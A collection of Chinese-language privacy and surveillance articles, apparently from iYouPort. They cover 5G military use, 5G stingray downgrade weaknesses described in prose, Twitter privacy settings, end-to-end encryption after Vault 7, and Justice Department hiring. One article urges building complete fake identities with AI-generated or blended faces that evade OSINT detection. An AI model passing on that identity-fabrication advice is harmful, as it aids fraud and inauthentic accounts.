5G对于特勤部门和特种部队来说也是极为重要的。这将使控制和间谍活动系统的效率大大超过今天使用的系统。

通过赋予他们基于面部识别和其他特征识别以瞄准目标人的能力，它将提高杀手无人机和战争机器人的杀伤力。

5G网络作为高科技的武器，也将成为使用新一代武器进行网络攻击和战争行动的目标。

与美国一样，该技术也是中国和其他国家/地区的重点开发目标。

因此，有关5G的国际竞争不仅是商业上的。

5G的军事意义几乎被完全忽略了，批评者，包括许多科学家，仅仅着眼于其带来的辐射问题，而将注意力集中在对健康和环境的有毒影响上。

对健康的影响当然是最重要的，但必须与普通用户间接资助的对该技术的军事用途的研究联系起来。〇

The Hidden Military Use of 5G Technology 广告

原文

5G躲不开黄貂鱼的监控 - iYouPort

你应该了解的现实

5G曾经被认为可以提供避免黄貂鱼的新保护。但新的研究表明，它做不到

「图」

「图」

高速5G移动数据网络可能仍在开发中，但已经在美国一些城市开始推广（中国也一样）。随着研究人员梳理5G标准，他们发现了一些问题。

去年于拉斯维加斯举行的黑帽安全会议上，一组网络通信安全研究人员发表了有关5G保护缺陷的发现，这些缺陷导致无法阻止被称为黄貂鱼的监视设备。

- 在这里看到《"如何应付政府使用黄貂鱼对公民进行的大规模间谍行为？#反监视技术"》

黄貂鱼会伪装成合法的手机信号塔，一旦它们诱骗设备连接就会使用IMSI或其他标识符来跟踪设备，甚至收听电话。

挪威技术分析公司 SINTEF Digital 的研究科学家 Ravishankar Borgaonkar 表示：“ 5G的一个优点被认为是可以解决允许伪基站攻击的问题。想法是，在5G中，再也无法窃取 IMSI 和 IMEI 来识别和跟踪攻击。但是我们发现，实际上5G并不能完全抵御这些伪基站攻击。”

发现的问题

5G网络对挫败黄貂鱼之目标的主要改进之一是一种用于加密设备数据的更全面的方案，因此数据不会以易于阅读的纯文本格式满天飞。但是研究人员发现，在这种设置中存在足够的失误以至于可以进行两种

5G黄貂鱼攻击。

当设备向新的蜂窝塔“注册”以获得连接性时，它将传输有关其自身的某些标识数据。与当前的4G标准一样，5G不会加密该数据。

结果，研究人员发现他们可以用黄貂鱼来收集此信息，并有可能使用它来识别和跟踪给定区域中的所有设备。

他们可以使用这些未加密的数据来确定哪些设备是智能手机、平板电脑、汽车、自动售货机、传感器等等。

他们可以识别设备的制造商，设备内的硬件组件，特定的型号和操作系统，甚至可以确定iOS设备正在运行的特定操作系统版本。

⚠这些信息使攻击者能够准确识别和定位设备，尤其是在他们已经有确定目标或正在寻找不太常见的模型的情况下。

这种程度的数据暴露是有问题的，但不一定是紧迫的，因为它足够普遍，只有某些设备才能被明确识别。

比如一个区域中的15台CCTV摄像机，或9部iPhone 8s，可能很难区分。但是研究人员还发现了使该问题复杂化的第二个问题。

事实证明，泄露设备详细信息的同一暴露也为像黄貂鱼这样的中间人攻击提供了操纵数据的机会。

电信行业根据设备的复杂程度将其分为1到12类。像智能手机这样的设备是12，而简单的物联网设备可能是1或2。

该分类的目的之一是向设备发出信号表明应连接到哪个数据网络。较复杂，较高类别的设备将寻找5G或4G网络，相反较低类别的设备仅接受2G或3G连接，因为它们不需要更快的速度。

研究人员发现，他们可以在连接过程中使用第一个黄貂鱼攻击来修改设备的分类编号，从而将其降级到较旧的网络。在这一点上继续应用传统的黄貂鱼攻击；并且攻击者还可以通过通信监视或更具体的位置跟踪进一步入侵。

柏林技术大学的研究人员 Altaf Shaik 解释说：“对于攻击来说，您是在将 iPhone 作为简单的IoT设备进行连接了。从而降低了服务的等级并降低了速度。到那时，经典的IMSI捕手逻辑将再次起作用。”

修改类别数据的能力实际上并不是5G规范本身的缺陷，而是运营商长期存在的问题。如果将系统设置为在连接之初就启动其安全保护和数据加密，那么这种攻击将毫无意义。

但是，运营商大多不会这样做，因此导致其有被操纵的风险。研究人员在欧洲、亚洲和北美评估的30家运营商中，有**21**家提供了容易受到降级攻击的连接。在连接过程中，只有九家运营商的服务选择了启动安全保护。

研究人员甚至发现，通过类似的攻击，他们可以阻止设备进入通常由网络消息触发的“省电模式”。一旦设备建立了稳定的数据连接，它通常会等待其网络发出的消息，表明它可以停止扫描连接信号，这是一项耗时耗力的工作。

但是研究人员发现，他们可以操纵5G网络中暴露的不受保护的设备信息来抑制这些消息，并且比处于省电模式下快五倍地消耗设备的电池——对于传感器或控制器等嵌入式设备而言，这是一个潜在的隐患。

总之

研究人员向电信标准机构 GSMA 披露了这些问题，并希望与运营商合作鼓励5G实施新措施，在蜂窝塔连接过程中应尽可能早地应用安全性和数据保护。

“ GSMA已经意识到了这些问题，并正在与更广泛的社区和相关标准组织（3GPP）一起修改规范，” GSMA工业安全负责人 Jon France 告诉 WIRED，“为了阻止这种攻击，如概述所示，要求在发送信息之前先设置加密。”

先前的研究发现其他5G协议缺陷也可能被利用来进行黄貂鱼攻击，但此后已修复。希望这些也能修复。

SINTEF Digital 的 Borgaonkar 说：“ GSMA 承认他们需要采取行动。”

“我们不确定5G会如何变化，但是现在我们知道的是，基本上仍然可以在5G中构建黄貂鱼以攻击目标。现在正在进行讨论，希望他们会改变标准。”

随着数以亿计的设备即将加入该新网络，几乎没有时间打草稿了。○

5G Is Here—and Still Vulnerable to Stingray Surveillance 广告

原文

AS3 完美替身：制作假人脸的简单方法 - iyouport

你应该了解的现实少数派报告

IYP 介绍过制作全套假身份的方法，不过那里面没有照片。照片是非常重要的，尤其是如今这个人脸识别时代，怎么办呢？其实也很简单

IYP 介绍过制作全套假身份的方法，详见《少数派玩家》。不过这里面没有照片。照片是非常重要的，每一个真人都要有一张脸才行，否则“真”不起来。尤其是如今人脸识别遍地都是，您不可能在网上搜别人的脸贴在自己的身份信息上，那相当于转嫁危险性。

那怎么办呢？幸运的是，找到一张假脸已经非常容易。

人工智能不仅可以制作逼真的人物假视频、可以描述一个真人现实生活中从未说过的话或从未做过的事，它还可以产生令人信服的假人脸，这些人脸从未在现实中存在过。

你想要一张逼真的假脸吗？曾经做到这点需要一些超级昂贵且功能强大的硬件，但是，现在有一个网站，可以轻松实现这点：生成一个花哨的新面孔就像刷新浏览器一样简单：thispersondoesnotexist.com 。每次加载页面时，算法都会从头开始生成新的人脸。

该网站使用被称为生成对抗网络（GAN）的机器学习实现。这些程序从大量的训练数据输入中“学习”—比如真实的人脸，以产生新的例子。 Thispersondoesnotexist.com使用以前由 Nvidia 研究人员在 GitHub 上发布的代码。

网站创建者和软件开发人员 Philip Wang 在一封电子邮件中说，“大多数人都不明白合成人脸图像有多么的重要。”在这里看到视频：

GAN 首先由计算机科学家 Ian Goodfellow 及其同事于2014年推出。从那时起，该技术已经变得更有能力了，现在可以以惊人的高分辨率

生成高度逼真的图像。

这些技术已被用于制作人们跳舞的视频，并将夏季场景转变为冬季场境。令人沮丧的是，他们的简单可用性也导致了伪造的色情视频的大量产生，被称为“深度造假”。在这里看到相关详细分析《当恶意者掌握技术：信息战的未来究竟有多可怕？》

Wang 的网站运行在租用的服务器上，该服务器具有运行 Nvidia 软件的强大 GPU。“我每隔两秒就会做出一个随意的人脸，并以可扩展的方式向世界展示”，他说。

显然，GAN 是多功能的东西，但 Wang 说他想坚持用来它来制作面孔。“脸部对我们的认知来说最为突出，因此我决定将这种特定的预训练模型放在上面，”他在 Facebook 上说。

事实上同类的假脸生成服务正越来越多的出现。因为这个问题是紧迫的：在未来几年，我们与身份的关系将发生深刻的变化。

Generated Photos 网站也能达到同样的目的，该网站使用人工智能创建了数千张面孔。

所有这些面孔都是不存在的人。你可以随意使用这些面孔，而不会与任何活人“冲突”。

通过开放的Google云端硬盘，该网站免费提供100,000张此类照片。

该站点的目标最终是能够按需生成人脸。您可以在下面看到视频：

好啦，现在你也可以制造出一整套完美的假身份！彻底切断在线和线下的身份联系。我们一起来创造一个新的“世界”。

更新 ——

请注意，GAN（生成对抗网络）产生的图像可以很容易被一些软件检查出来 —— 这些检查软件在 #开源情报 调查中经常被使用。

现在，您可以使用FaceApp创建全新的面孔，并且做到难以被这类软件检测到。通过将现有照片与其他人的脸相结合，您可以创建一张独特的照片，非常逼真。在您的分身账户中使用，还能避免被发现 - 上面截图中的照片就是假的，那个人不存在，但没有检测出来。

iOS: https://apps.apple.com/us/app/faceapp-ai-face-editor/

id1180884341

Android: https://play.google.com/store/apps/details?id＝io.faceapp

○□

原文

AS43 在Twitter上提高隐私和安全性的7个小技巧 - iyouport

你应该了解的现实

【2020年8月5日存档】本文是给大众的，也就是说每一位推特用户最基本应该做到的

Twitter 很有趣，但它也会变得令人恐惧。trolls和政府间谍最喜欢在这里攻击您的推文并跟踪您的一举一动。

虽然可以将整个账户设为私密以阻止外部监视，但是，这样做显然会阻碍您的信息传播 —— 并且您不一定就能准确识别每一位申请关注者究竟是什么人、也无法预测其未来有什么意图。

事实上您可以通过简单切换一些功能设置，即可提高在线安全性。iOS 和 Android 都可以，虽然步骤有一些不同。

1、禁用照片标记

「图」

类似于在Twitter上@提及您，用户还可以在其发布的照片中为您添加标记。听起来似乎没有恶意，但是，如果用户在您不想与之公开产生关联的图片中标记您，您可能希望加强匿名性。

幸运的是，您可以轻松阻止其他用户在他们的照片中标记您。

您可以对其进行设置，以便没有人可以标记您，也可以仅仅阻止您不认识的人标记您。

而且，如果您将其完全关闭，那么以前使用过的所有标记都会从您的帐户中消失，因此对于标记照片来说，这是一个终极开关。

2、禁用已读回执

「图」

如果您的DM已打开，则意味着任何人都可以向您发送消息。并且默认情况下，如果您阅读了该消息，那么对方会知道，该消息在其结尾处带有一个蓝色的对勾。

为防止用户知道您阅读了邮件，请禁用已读回执。

在 “设置和隐私” 菜单中，点击 “隐私和安全”。然后，关闭 “显示已读回执”。

在 Android 应用中，先点击 “Direct Messages” 以找到该设置。

现在，当您阅读某人发来的私信时，在消息下方的箭头将是灰色的（未读），而不是蓝色（已读）。

如果您关闭已读回执，也不会看到其他人何时阅读您的私信。

3、匿名观看 Periscope 视频

「图」

Periscope 是内置在Twitter中的实时视频流平台。除了直播之外，您还可以观看和评论其他人的视频，但他们会知道您正在观看。

如果您想继续观看直播视频，但又想保持匿名，完全可以断开与 Periscope 的连接。

请注意，此选项仅存在于适用于 iOS 和 Android 的 Twitter 应用程序中。

在 “设置和隐私” 菜单中，点击 “隐私和安全”。然后，关闭 “Connect to Periscope”。现在，您能够自由观看 Periscope 视频，但其他人将不知道您正在观看。

只有将其重新打开，您才能做自己的直播或对其他实时视频发表评论。

4、阻止其他用户找到您

「图」

通过使用随机头像并将您自己的名字从帐户中删除，您可以使其他人很难在 Twitter 上找到您，但是，您也可以阻止其他人使用您的电子邮件地址或电话号码来查找您的个人资料。

同样，进入 “设置和隐私”，然后进入 “隐私和安全”。再进入“可发现性和联系方式” 并关闭选项，现在那些追踪到您的电子邮件地址和电话号码的人就很难在 Twitter 上找到您了。

当然，建议您尽可能不要使用自己真实的电邮地址和电话号码注册推特，因为该公司依旧拥有这些信息，很难说他们是否会将这些信息交给政府。

5、禁用您的地理位置

「图」

默认情况下，Twitter 会收集并存储使用设备的GPS和其他位置数据点跟踪的精确坐标，以向您显示本地广告以及特定于位置的趋势、内容和建议。

它们还用于将位置标签添加到您的推文中，很难单独禁用。

要关闭位置数据，请返回 “设置和隐私”，然后返回 “隐私和安全”。下来，点击 “精确位置”，然后将其禁用。

在适用于 Android 的 Twitter Lite 中，该选项不可用，但在 Tweets 标题下有一个 “位置信息” 选项，您可以启用或禁用它，但它仅适用于您制作的 Tweet。

停用 “精确位置” 会阻止您接收本地内容并将位置数据添加到推文中，但并不会阻止您获得一般广告。

6、停止个性化和数据跟踪

「图」

Twitter 始终会收集您的数据，但是您可以控制它如何在线操纵您。这个方法我们以前介绍过，见《绕开推特算法噪音、使用基本运算符挖掘推特数据的方法》。

如果您觉得上面这篇文章中介绍的方法有点复杂，那么您至少可以做

到最基本的。要查看您的个性化设置和数据设置，请返回 “设置和隐私”，然后选择 “隐私和安全”。

在 “个性化和数据”中，您可以选择关闭以下功能：

- Personalized ads
- Personalize based on your inferred identity
- Personalize based on places you've been
- Track where you see Twitter content across the web
- Share your data with Twitter's business partners

您可以关闭单个设置，也可以通过直接切换 “个性化和数据” 设置来禁用所有设置。

7、撤消第三方应用程序访问权限

「图」

第三方应用程序有时会要求您使用 Twitter 凭据登录，包括 Instagram，Spotify，Imgur，Duolingo，TweetDeck，Reddit，Buffer 和 Twitterific.

尽管您可以信任其中一些应用程序，但还有一些应用程序可能是不干净的，这就是为什么说在使用完毕后应撤消它们对您帐户的访问权限。

是的，再次进入“设置和隐私”，但是这次，点击 “帐户”。在 “数据和权限”下，点击 “Apps and sessions” 以查看所有有权访问您帐户的第三方应用程序。

点击应用程序以查看描述、网站和您授予的权限。要删除哪个请点击 “撤消访问权限”。除非您再次授予其访问权限，否则该应用程序将不再与您的 Twitter 帐户一起使用。

最后，再次重申以上这些步骤都是最基本的；也就是大众应该能做到的。每一种安全都必须明确威胁模型，如果您是敏感人士、被政府长期盯梢的对象，仅仅这样做依旧是不够的，您可以参见这里介绍的步骤，见《使用社交媒体时你必须注意什么？—— 🔐 更安全的抵抗》。〇

原文

AS57 泄漏文件显示间谍已经能绕过 Signal 的加密，那么端对端还有用吗？ - iyouport

你应该了解的现实

【2021年3月24日存档】端对端加密的确可以被 *绕过*，但不是那么容易被*破解*

由于美国对WL创始人的起诉，一些中国朋友再次谈及WL曾经发布过的经典文件，其中之一就是 Vault 7；这套泄漏文件的确非常惊人，它展示了中情局的黑客工具无孔不入的危险程度。

对于普通互联网用户来说，该文件中提示的技术工具引起了一个争议——“如果间谍已经可以入侵端对端加密应用，那端对端还有用吗？”

如果您自2013年5月以来在任何时候使用过互联网，您可能都听说过这样的建议：要使用加密通信。斯诺登揭露的大规模监视显示间谍机构一直在记录所有人的电话、短信和电子邮件，这引发了加密应用和服务的开发和使用的激增。

仅仅几年后，加密技术就被广泛用于日常通信，这是斯诺登带来的最明显变化之一，虽然监视本身并没有被阻止。

如果您使用这些加密工具，可能也听说过 “端到端加密” 或 “E2EE” 这个词。这个概念很直接：端到端意味着内容从一个端点（通常是你的手机或电脑）到另一个端点（你的信息的预期收件人的手机或电脑）进行加密。但这对于我们这些用户来说，它承诺的安全程度究竟如何呢？

自特朗普执政以来，美国海关和边境保护局（CBP）加强了对旅客隐私的侵犯。CBP一直要求搜查美国公民和所有游客的手机和笔记本电脑，他们还要求旅客提供密码或登录个人的社交媒体账户，以允许当局搜查。不遵守的旅行者将面临被拒绝入境的威胁。

2017年3月7日，Wikileaks 公布了大量泄露的中情局文件 —— Vault 7，包括中情局花钱买来的漏洞和漏洞知识，并对公众保密。现在这

些信息已经泄露，知道这些漏洞的不再只是中情局，而是所有人。

换句话说，您的对手不再只有那些间谍，而是知道怎么使用这些技术的任何坏蛋。

然而《纽约时报》和其他主流媒体的报道对此的解释是错误的，他们说，“中央情报局破坏了 Signal 和 WhatsApp 等应用程序中的加密”，而实际上，中央情报局所做的是针对性地损害了特定人群的 Android 设备。

简而言之，这一揭露反而证实了使用端到端加密通信的重要性，它阻碍了国家层面的行为者进行大规模监控的能力。E2EE仍然很重要。

有关 Vault 7 的许多媒体解读给人的印象是，诸如 Signal 之类的加密应用已被破坏。而实际上，入侵是在设备级别上的 —— 也就是“端”。没有理由相信加密本身不起作用。

那么，危险在哪里？

弱点1：端

「图」

首先，重要的是要明白，如果你能读到一条信息，那就说明它是明文 —— 也就是说，不再是加密的。通过端对端加密，安全链中的薄弱环节就是你和你的设备，以及你的收件人和他们的设备。如果你的收件人可以读取你的信息，任何可以访问他们设备的人也同样可以读取这条信息。

一个卧底警察可以偷窥你的收件人的手机以读取你发送的信息 —— 比如肩膀冲浪，或者警察可以没收你的收件人的设备并将其破解。如果这些风险中有任何一种可能发生，你应该在发送任何你不想与政府间谍分享的东西之前三思而行。

- 不要忘了 “整体安全” 训练中强调的思考方式！安全不是一个人能完成的工作，也不是哪个软件能帮您做到的，您需要科学的协作才能真正获得安全

“Vault 7” 的泄漏恰恰证实了这点，它展示了如果你的对手（如CIA）获得了你的电子设备、或你的联系人的电子设备的物理访问权限，并能够解锁它，像 Signal、WhatsApp 和 Telegram 这样的应用程序就

完全没用了。

围绕 Vault 7 的许多报道都有些误导性，给人的印象就像是这些加密应用本身已经受到了损害。事实上不是，在这种情况下，妥协是在设备层面 —— 也就是端 —— 发生的。加密本身仍然可信。

弱点2：有针对性的监视

「图」

考虑到您很可能无法控制您的联系人的安全状况，您应该考虑到：您发送给对方的任何信息都有可能被间谍阅读。

如上述，肩膀冲浪和被警察查抄手机，这两种情况可能更多见一些；比如，你的联系人在接收你发送的信息的时候正在乘坐电车、正坐在咖啡馆里、或者在机场大厅的长椅上等等，监视者可以近距离偷窥此人的手机屏幕，这就是肩膀冲浪；并且，在美国和中国，都有很多警察查手机和电脑的情况，您应该知道如何随时防御这种状况 —— 这是彻底毁掉端对端加密的手段。

- 关于肩膀冲浪及其他形式的威胁，见《如果您已成为目标：来自内部和外部的威胁和抵御》
- 防御方法，见列表-1 “反侦察 在现实中反监视”
- 关于如何防止被警察查抄手机和电脑，见 “在敌对环境中保护自己” 系列内容

但以上这些并不是全部危险性，还有一种如今越来越多见的情况，就是 —— 恶意软件；也就是说，您的联系人的电子设备已经被恶意监视软件感染，而对方不知道，这类恶意软件可以记录目标设备上所有传入和传出的通信。

当然，感染者也可能是您自己。

这种妥协的功能也是在端级别的，它可以使 E2EE 完全失效。因为很难知道您自己（或您的信息接收者）是否是这种类型的攻击目标，所以，最好的办法是 —— 默认不要通过任何数字通信发送过于敏感的信息。

弱点3：元数据

「图」

关于端对端加密，您应该知道的第三件事是，它不一定能保护您的元数据。

根据通信的传输方式，日志仍可能显示通信的时间和长度，以及发送者和接收者都是谁。日志还可能显示通信时发件人和收件人的地理位置。

虽然这通常不足以让某人单独入狱，但是，在证明人与人之间的关联、确定与间谍感兴趣的地点（比如抗议现场）的接近程度、以及追踪通信模式方面，它是非常有用的。所有这些信息都有助于在直接监视的情况下建立更大的目标行为模式。

所以 ...

「图」

如果端到端加密不一定能保护您的通信内容，而且还放弃了非常有用的元数据，那么使用它的意义何在？

E2EE 做的最重要的事之一就是：确保您的数据永远不会以可读的形式进入别人的服务器。由于端到端加密从您点击“发送”的那一刻起就开始了，并且一直持续到收件人的设备上，因此，当一家公司（如 Signal）被传唤到警察局以索取您的通信记录时，他们没有任何明文内容可以交给警察。

这就使当局处于这样的境地，即：如果他们想获取您的通信内容，就不得不花费大量的时间和资源来试图破解加密。在美国，您的快速审判权可能会使这些证据对检察官毫无用处，因为检察官无法迅速解密以取悦法官。在中国，他们可能无限期关押您，而没有任何证据，这期间抗议者可以采取行动给当局施加压力，要求释放您。和国际上的权利组织联合效果会更好。

E2EE 的另一个用途是让间谍部门的大规模监视项目变得更加困难。由于传输过程中没有任何一个点可以抓取您的未加密通信，所以任何抓取所能获得的都是同样的加密文本块，当然这可以通过法庭传票获得。

大规模监控一般是通过收集任何可用的数据，并对其进行自动排序而不是单独分析。使用加密技术可以防止对内容进行算法筛选，从而使这一过程变得更加困难，通常间谍部门会认为这个时间浪费得不值得。

除了大规模数据收集外，间谍和警察还经常使用被称为黄貂鱼的手机站点模拟器。黄貂鱼假装成手机信号塔，以欺骗您的手机连接它，使其放弃可识别性信息，包括您的位置。

黄貂鱼也会抓取并记录您的所有通信。与其他拦截方法一样，加密意味着被间谍检索到的信息基本上是无用的，除非这些间谍愿意花大力气去解密它。

静态加密

「图」

除了使用端到端加密来保护正在发送的信息内容外，您还可以使用全盘加密来保护存储在设备上的信息。

适当的全盘加密意味着，如果没有您的加密密钥（通常是口令），您设备上的所有信息都无法破译，从而创建了一个更难入侵的加固端。

虽然全盘加密不一定能防止一些更隐蔽的监控方法，如恶意软件，但它可以防止获得您的设备的警察和间谍从其中提取任何有用的数据。这种提取通常被称为“取证”（挺讽刺的），您可以在下面看到详细解释和防御方法：

- 《数字取证正在泛滥：政府可以从你的手机中提取哪些数据？》
- 《警察查手机的东西长什么样？—— 从技术角度看移动设备取证》
- 《让政府机构从您使用的应用程序中提取大量数据的秘密技术：云取证》
- 《清空废纸篓无法真正”删除”文件，如何彻底删除以抵制任何取证工具？》
- 《与S先生共度美好一天—反取证技巧：变得难以被追踪的简单方法（3）》

端到端加密绝不是抵御民族国家监视或恶意个人监控的神奇盾牌，但 **Vault 7** 强调了使用它如何帮助迫使程序从大规模监控模式转向资源密集型目标攻击模式 —— 简单说，如果您不是如斯诺登那样的被全球通缉的“要犯”，那些间谍很可能就不会愿意把大笔的资金花在您身上。

📌 当与良好的安全意识、加密设备、和其他安全实践相配合时，

E2EE 可以成为一个强大的工具，显著减少您的攻击面。始终如一地习惯性地使用端到端加密，可以使许多较低级别的威胁失效，甚至可能使一些更高级别的对手决定攻击你太费劲了，根本不值得。

就如我们在 “难以被追踪” 系列中强调的中心宗旨！—— 不要相信任何**100%**安全的承诺，那绝对是骗子，真正有效的防御是，为自己争取到足够的时间，尽可能消耗监视者的金钱和资源，让他们因玩不起而放弃追踪您。

并且，切勿小看任何传统的、似乎落伍的间谍手段，当大多数人都把注意力放在那些最新出现的高端的间谍手段上时，反而容易在套路上中招。

您可以在下面这本书中看到更多具体的防御方法，这本书在这里下载：https://www.patreon.com/posts/nin-ke-neng-bu-38187564

Be careful! and Good Luck! ○

原文

BT 反垄断？算了吧 …… 巨头公司的律师正排队进入司法部高层职位 - iyouport

你应该了解的现实

【2021年6月1日存档】一个便利的政治旋转门正在被打开

参议院司法委员会对乔·拜登总统任命的司法部长人选梅里克·加兰的首日听证会出人意料地平淡无奇。

加兰几乎没有面对共和党人任何有意义的反驳，同时他一再向他们保证，他不会把任何类似政治动机的东西带进司法部。“如果我认为政治会对起诉和调查产生任何影响，我就不会接受这份工作”，他说。在至少得到参议员约翰·科宁和查克·格拉斯利在共和党方面的支持，加兰很可能顺利通过确认。

但是，当加兰被问及调查总统之子亨特·拜登时，他几乎没有被问及正在加入或有望加入司法部的大企业律师队伍的蓬勃发展。在过渡团队和早期招聘中，以加兰为推定领导的拜登司法部似乎正在广泛吸纳大企业律师代表的队伍，为其最有权力和最重要的职位配备人员。

【注：避免反垄断运动破坏利益集团的利益，是两党作为利益集团的木偶的主要“任务”，这就是为什么加兰的提名不会出现党派争议。】

竞选司法部重要职位的几位律师与加兰的私人关系深远，可以追溯到几十年前，包括他在克林顿政府期间在该机构工作时。在加兰成为联邦法官的这几年里，他的这些同事都去为巨头科技公司和其他大企业工作。现在，加兰似乎满足于不顾他们的记录，将他们重新纳入麾下。加兰对老同事的忠心让拜登的司法部看起来相当熟悉（意思是又回去了克林顿时代 —— 旋转门逆向运动）。

加兰最令人关注的关系是杰米·戈雷利克 (Jamie Gorelick)，尽管她不可能在该部门内获得正式的角色，但是，她的定位是一个掮客，她拥有华盛顿与加兰办公室最直接的关系、和影响拜登司法部的独特权力。

戈雷利克目前是实力雄厚的威尔默黑尔律师事务所的合伙人，曾是克林顿司法部的二号人物，加兰曾担任她的最高副手。戈雷利克帮助加兰获得了美国哥伦比亚特区联邦巡回上诉法院的法官职位，自从拜登宣布提名加兰后，她就一直在宣传她与加兰的亲近关系以及他们之间的长期友谊。戈雷利克和加兰是大学同学，在最近的一次采访中，她称加兰为她的“僚机”（**wingman**）。

【注：wingman是个特别微妙的角色，有点像中国相声里面的“捧哏”，在关键时候帮主角说好话的人，但永远不能喧宾夺主，要时刻知道自己是**wingman**。那么您现在理解戈雷利克的意思了？嗯，她才是主角。】

考虑到戈雷利克最近的历史，这一点尤其令人关注。戈雷利克在华盛顿内部是一个臭名昭著的掮客和交易商，以利用她的关系来抵挡对违法的大企业的处罚而闻名。在奥巴马时期，戈雷利克曾受雇帮助谷歌打赢了一起声势显赫的反垄断案，成功向白宫和司法部施压，让他们对谷歌的刑事调查紧急刹车了。在另一起针对谷歌的案件中，戈雷利克还帮助封杀了一名美国律师，以至于司法部甚至向谷歌道歉！据传，是戈雷利克亲自安排了这次道歉。

戈雷利克的记录并不限于科技巨头公司。她还曾代表芝加哥市和巴尔的摩市分别干预了对拉昆·麦克唐纳和弗雷迪·格雷的警察谋杀案进行的调查。

【注：拉昆·麦克唐纳是17岁的黑人青少年，被警察连开**16**枪射杀；弗雷迪·格雷因携带一把弹簧刀被巴尔的摩警察局拘留，在押送期间格雷因脊髓和喉头严重受伤而陷入昏迷，被送往创伤中心接受救治，最终于2015年4月19日不治身亡。目击者指认警察在逮捕格雷的过程中使用了不必要的武力。简单说，是直接被打死的。】

她还在**2010**年墨西哥湾漏油事件后为英国石油公司辩护，使该公司免于对事故给该地区带来的经济困境负责，并回避了要求该公司帮助支付恢复墨西哥湾的费用的要求，这一协议对该公司非常有利，以至于让旁观者感到震惊。

【注：墨西哥湾漏油事件，2010年4月20日，起因是英国石油公司所租用的一个名为深水地平线的深海钻油平台发生井喷并爆炸，导致漏油事故。导致11名工作人员死亡及17人受伤。】

戈雷利克代表掠夺性营利性大学凤凰城大学贡献了重要的法律工作，并游说反对奥巴马政府遏制对私人学生贷款公司的补贴的努力。她代

表贾里德·库什纳（Jared Kushner）在特朗普白宫工作时浏览联邦道德和反独裁法，她甚至为前总统理查德·尼克松工作。她还是房利美的前董事会成员，目前是亚马逊的董事会成员。

【注：房利美是最大一家美国政府赞助企业。主要业务是在美国房屋按揭贷款二级市场中收购贷款，并通过向投资者发行机构债券或证券化的按揭债券，以较低成本集资，赚取利差。】

自从宣布任命加兰以来，戈雷利克一直在宣传她与加兰的亲密关系。她作为合伙人的威尔默·黑尔法律事务所甚至刊登了一篇关于他们俩如何亲近的文章，吹嘘她出现在三个法律播客中，她详细介绍了她与加兰独特的个人联系，并预测加兰的确认对司法部的未来意味着什么，随后又删除了该页面。戈雷利克没有回应评论请求。

已经在司法部站稳脚跟的是布莱恩·博因顿（Brian Boynton），拜登政府聘请他担任现任首席代表和民事厅代理厅长。博因顿是另一位华盛顿特区的律师，他在此前不久还是威尔默黑尔的合伙人，他帮助见证了斯普林特和T-Mobile之间的合并，并代表掠夺性的营利性大学阻止奥巴马政府颁布对学生借款人的保护措施。博因顿在拜登司法部的第一个动作就是阻止代表被营利性大学欺诈的学生的律师取证前教育部长和臭名昭著的营利性教育冠军贝齐·德沃斯（**Betsy DeVos**）。

其他方面，Emily Loeb 被宣布为副总检察长，离开了她作为 Jenner&Block 律师事务所合伙人的职位。**Loeb** 最近代表巨头公司苹果参加了众议院反垄断小组委员会对科技巨头的调查，并被参与调查的人描述为阻挠调查的力量。

与此同时，臭名昭著的共和党大律师事务所 Kirkland&Ellis 的前合伙人肯尼思·史塔 (Ken Starr) 和最高法院大法官布雷特·卡瓦诺 (Brett Kavanaugh) 曾经的雇主苏珊·戴维斯，预计也将以某种形式加入拜登司法部。她的页面已经从 Kirkland&Ellis 网站上删除，她的邮箱也已经改了。在曾是特朗普任命的亚历克斯·阿泽（Alex Azar）、约翰·博尔顿（John Bolton）、亚历克斯·阿科斯塔（Alex Acosta）、甚至前司法部长威廉·巴尔（William Barr）所在的 Kirkland&Ellis 公司，戴维斯曾为 **Facebook** 辩护，帮助 **Facebook** 抵制反垄断指控。

戴维斯和加兰也有深刻的历史渊源，两人曾在克林顿司法部共事；她还曾帮助加兰获得最高法院的提名。Intercept和《美国展望报》此前已报道，加兰正在推动戴维斯担任司法部反垄断部门的负责人。在周一的听证会上，加兰表示，戴维斯不会领导反垄断部门，但是，他并没有确认她不会以某种身份在该机构工作。

与此同时，两位因从事人事工作而要求匿名的知情人士告诉 ThIntercept 和 TheProspect，加兰是由凯伦·邓恩（Karen Dunn）为这一流程做准备的，邓恩是一位律师，她曾在最近的众议院反垄断小组委员会关于科技巨头的听证会上代表时任亚马逊**CEO**杰夫·贝佐斯（**Jeff Bezos**），并在指控苹果公司违反反垄断法的诉讼中为其辩护。TheProspect 报道称，邓恩是早期科技巨头公司反垄断案件助理检察长的热门人选，但她的候选资格被拜登过渡团队否决了。她参与听证会可能意味着她正在考虑在司法部内担任不同的角色。

司法部发言人 Dena Iverson 在一份声明中说，“所有部门雇员，无论是聘用还是任命，都受到全面的联邦道德规则的约束，包括与利益冲突有关的回避规则。该部门聘用的是具有广泛专业经验的优秀律师，包括来自各级政府、学术界、非营利组织和律师事务所”。事实上只有极少数工作人员来自该发言人声称这些背景，比如民权部门的提名人克里斯汀·克拉克（民权倡导者）和她的主要副手帕姆·卡兰（斯坦福大学法学院的）。该发言人的声称只是为了绕避重要问题。

理所当然的是，司法部未来的负责人会对谁在他的部门中担任高层角色有重要的影响和认识。鉴于加兰通过在司法部和华盛顿特区的 WilmerHale 等律师事务所的联系，完全有迹象表明，这些招聘符合他的偏好。

加兰在听证会上确实抽出时间为他的司法部的大企业律师们辩护，包括他的反垄断部门的科技律师，“不管是幸运的还是不幸的，国内最好的反垄断律师都以这样或那样的方式对科技领域有一定的参与”，加兰坚持宣称，“我们不能排除每一个优秀的律师都能进入该部门。”

【注：“都以这样或那样的方式对科技领域有一定的参与”，这句话没错，但没有说完整 —— 完整的事实是，政治旋转门无处不在，不仅限于国内，甚至在国际上都是如此，见《追踪谷歌的政治旋转门：开源调查》- 这就是谷歌避免欧洲的反垄断法威胁其地位的手段。】

所有这些都指向一个令人担忧的趋势，这在拜登的岁月里将尤为重要。全社会对司法部作为一个机构的信心已经特别低；对于特朗普总统的所有违法行为，司法部没有起到有意义的制衡作用。

人们期待拜登的司法部不仅要带头对一些科技巨头公司进行反垄断调查，还必须应对警察部门的滥用职权和渎职行为，调查“1月6日”暴动事件，以及特朗普政府庞大而深远的腐败问题。

而克林顿时期的司法部充斥着曾代表营利性大学和阻止政府调查的科

技巨头公司的律师，他们能胜任眼前的巨大任务吗？〇

CORPORATE LAWYERS LINE UP FOR JUSTICE DEPARTMENT TOP SLOTS

原文

Clubhouse 这个价值40亿美元的应用程序，无视隐私权、安全性或可访问性 - iyouport

